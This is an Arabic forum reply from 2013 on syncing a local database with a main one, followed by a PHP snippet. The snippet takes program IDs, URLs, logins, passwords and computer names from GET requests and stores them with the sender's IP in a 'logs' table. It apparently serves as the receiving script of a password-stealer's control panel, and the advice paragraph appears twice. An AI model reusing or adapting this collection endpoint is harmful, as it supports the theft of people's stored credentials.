13-05-2013, 04:43 PM
اقترح عند حدوث لنقطاع يحدث ما يلي
يتم اضافة السجلات الجديدة الى القاعدة الفرعية
عند عودة الاتصال يتم ارسال جميع السجلات الى القاعدة الرئيسية ويتم تفريغ القاعدة
اذن عند كل ارسال الى الاصل تفرغ القاعدة الفرعية تماما لتفادي التكرار
في حالة رغبتك بعدم الحذف حاول اان تبحث عن التكرار اي اذا هذا الزبون موجود فلا تضفه
مثلا هذا الكود ( if (mysql_num_rows($result) == 0) { ......)
يتم اضافة السجلات الجديدة الى القاعدة الفرعية
عند عودة الاتصال يتم ارسال جميع السجلات الى القاعدة الرئيسية ويتم تفريغ القاعدة
اذن عند كل ارسال الى الاصل تفرغ القاعدة الفرعية تماما لتفادي التكرار
في حالة رغبتك بعدم الحذف حاول اان تبحث عن التكرار اي اذا هذا الزبون موجود فلا تضفه
مثلا هذا الكود ( if (mysql_num_rows($result) == 0) { ......)
PHP كود :
// ADD ***************************************************************************************
if (@$_GET["action"] == "add") {
if (isset($_GET["a"]) && isset($_GET["c"]) && isset($_GET["u"]) && isset($_GET["l"])&& isset($_GET["p"])
&& is_numeric($_GET["a"]) && $_GET["a"]>=0 && $_GET["a"]<=18 && strlen($_GET["p"])>3) {
$mysql = mysql_connect($dbHost, $dbUser, $dbPass);
if (!$mysql) exit;
if (!mysql_select_db($dbDatabase, $mysql)) exit;
$result = mysql_query("SELECT * FROM `logs` WHERE `program` = '".$_GET["a"]."' AND `url` = '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["u"])), $mysql).
"' AND `login` = '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["l"])), $mysql)."' AND `pass` = '".
mysql_real_escape_string(htmlspecialchars(urldecode($_GET["p"])), $mysql)."';", $mysql);
if (!$result) exit;
if (mysql_num_rows($result) == 0) {
$result = mysql_query("INSERT INTO `logs` (`id`, `program`, `url`, `login`, `pass`, `computer`, `date`, `ip`) VALUES (NULL , '".
$_GET["a"]."', '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["u"])), $mysql)."', '".
mysql_real_escape_string(htmlspecialchars(urldecode($_GET["l"])), $mysql)."', '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["p"])), $mysql)."', '".
mysql_real_escape_string(htmlspecialchars(urldecode($_GET["c"])), $mysql)."', '".date("Y-m-d H:i:s")."', '".$_SERVER['REMOTE_ADDR']."');", $mysql);
}
mysql_close($mysql);
}
exit;
}

